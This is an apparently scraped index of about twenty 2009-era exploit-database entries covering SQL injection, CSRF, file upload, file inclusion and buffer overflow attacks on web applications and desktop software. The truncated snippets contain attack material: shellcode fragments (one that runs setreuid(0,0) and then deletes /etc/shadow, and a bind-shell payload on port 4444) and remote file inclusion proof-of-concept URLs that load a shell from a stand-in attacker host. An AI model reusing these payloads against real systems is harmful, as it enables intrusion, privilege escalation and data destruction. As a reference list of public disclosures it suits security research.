Datenator 0.3.0 - 'event.php?id' SQL Injection

Exploit Title: Datenator 0.3.0 event.php id SQL Injection Date: 26.12.09 Author: TheHuliGun Look on code in event.php: 22: ifisset$GET'id' 23: 24: $event = $datenator-readeventinfo$GET'id'; Function readeventinfo is in file includes/functions.php 412: function readeventinfo$eventid 413: 414: $sql...

apache tomcat 4.0.3 跨站脚本

No description provided by source...

apache 2.2.6 mod-autoindex.c 跨站脚本漏洞

No description provided by source...

apache 2.0.50 缓冲区溢出漏洞

No description provided by source...

PlayMeNow - .M3U Playlist Buffer Overflow (SEH)

PlayMeNow - .M3U Playlist Buffer Overflow SEH !/usr/bin/perl Greets: His0k4 : Then His0k4 and After That His0k4 Special Greets :01000001 01101001 01100011 01101000 01100001 00100000 win32exec - EXITFUNC=seh CMD=calc Size=158 Encoder=PexFnstenvMov http://metasploit.com my $shellcode =...

Linux - setreuid 0,0 & execve/bin/rm /etc/shadow

Linux - setreuid 0,0 & execve/bin/rm /etc/shadow. Shellcode exploit for linx86 platform / rmtheshadow.c by mrme Just for fun : visit: http://www.corelan.be:8800/ / include include char sc = "x31xc0" // xor %eax,%eax "xb0x46" // mov $046,%al "x31xdb" // xor %ebx,%ebx "x31xc9" // xor %ecx,%ecx...

Active Photo Gallery 6.2 SQL Injection

? ?????????????????????????In The Name Of Allah The Mercifull?????????????????????? ? Tybe: Auth Bypass Remote SQL Injection Vulnerability‏ ? Vendor: www.activewebsoftwares.com ? ? Software: Active Photo Gallery v 6.2 ? ? author: R3d-D3v!L ? ? Date: 17.dec.2009 ? T!ME: 10:22 pm ? Home: WwW.xP10.M...

F3Site2009 Multiple LFI Exploit

No description provided by source. Exploit Title: F3Site2009 Multiple LFI Exploit Date: 18-12-2009 Author: cr4wl3r Software Link: http://code.google.com/p/f3site/ Version: N/A Tested on: GNU/LINUX Code poll.php : iffileexists'./cache/poll'.$GLOBALS'nlang'.'.php':...

Southern data, a good precision system, Web soft world exploits-vulnerability warning-the black bar safety net

1, through the upfileother. asp vulnerability file taken directly SHELL Directly open userreg. asp for registered members, log in not logged state, use local Upload File Upload code is as follows: HTMLHEAD META http-equiv=Content-Type content="text/html; charset=gb2312" STYLE type=text/cssBODY...

Link Up Gold CSRF - Create Administrator Account

No description provided by source. /\ == \ /\ \ /\ \ \ \ \ \ \ \ \ /\ \ \ \ \ \ \ \ // // // 01000010 01101001 01001111 ---------------------------------------------------------------- + Link Up Gold - CSRF Create Administrator Account // Author Info x Author: bi0 x Contact:...

Maxs AJAX File Uploader Remote File Upload Vulnerability

No description provided by source. | | Max's AJAX File Uploader Remote File Upload Vulnerability | | Author : ViRuSMaN | | Contact : [email protected] | | Home : Islam-Attack.CoM , HackTeach.OrG | | Download : http://www.ajaxf1.com/download.html?dl=12 | | | | Exp : | | 1- Upload Your Shell...

Frog CMS 0.9.5 - Cross-Site Request Forgery

Frog CMS 0.9.5 - Cross-Site Request Forgery ------------------------------------------------------------------------------------------------- Title: Frog Date: 13. December 2009. -------------------------------------------------------------------------------------------------...

Illogator Shop - SQL Injection Bypass

Illogator Shop - SQL Injection Bypass Title: Illogator Shop SQL Injection Bypass Date: 11/12/2009 Author: bi0 CVE : /\ == \ /\ \ /\ \ \ \ \ \ \ \ \ /\ \ \ \ \ \ \ \ // // // ---------------------------------------------------------------- x Illogator Shop SQL Injection Bypass x Author : bi0...

Free ASP Upload - Arbitrary File Upload

/ \ / \ / \ | | |/ | | | Y Y | V\ / Y| || |/ / A ||| \ | | | | || || \ // \ | | | || | | |/ |/|/ |/ Free ASP Upload Shell Upload Vulnerability Created By Mr.aFiR Moroccan Hacker Email: [email protected] Website: www.aFiR.me c -- 10/12/2oo9 How to use it ? ----------------- Go to :...

PointDev IDEAL Administration 2009 9.7 - Local Buffer Overflow

!/usr/bin/env python IDEAL Administration 2009 v9.7 Local Buffer Overflow Exploit Found By: DrIDE Usage: Migrate - Open Migration Project - Bind Shell Download: www.pointdev.com Tested On: Windows XPSP3 windows/shellbindtcp - 696 bytes Encoder: x86/alphamixed EXITFUNC=seh, LPORT=4444 sc =...

Joomla! Component com_joomgallery 1.5.x - func Incorrect Flood Filter

Joomla! Component comjoomgallery 1.5.x - func Incorrect Flood Filter...

Joomla 1.5.x com_joomgallery&func Incorrect Flood Filter

Exploit for unknown platform in category web applications ======================================================== Joomla 1.5.x comjoomgallery&func Incorrect Flood Filter ======================================================== 0day.today 2018-04-09...

DPI 1.1-final Powered by Clixint XSS

No description provided by source. andresg888 Vendor : http://www.image-host-script.com/ Contact : andresg8884tgmaildotcom Web: : www.ilegalintrusion.nethttp://www.ilegalintrusion.net & www.bl4ck-p0rtal.orghttp://www.bl4ck-p0rtal.org Dork : No DoRk f0R ScRipT KiDDieS Example1:...

Thatware 0.5.3 - Multiple Remote File Inclusions

Thatware 0.5.3 - Multiple Remote File Inclusions Discovered by cr4wl3r \ cr4wl3r4tlinuxmaildotorg Thatware PoC : http://server/config.php?rootpath=http://attcker/shell.txt??? Vuln : ./thatwarepath/artlist.php line 28 PoC : http://server/artlist.php?rootpath=http://attcker/shell.txt??? Vuln :...

SweetRice <= 0.5.3 Remote File Include Vulnerability

Exploit for unknown platform in category web applications ==================================================== SweetRice PoC : http://server/plugin/subscriber/inc/post.php?rootdir=http://attacker/shell.txt??? 0day.today 2018-03-28...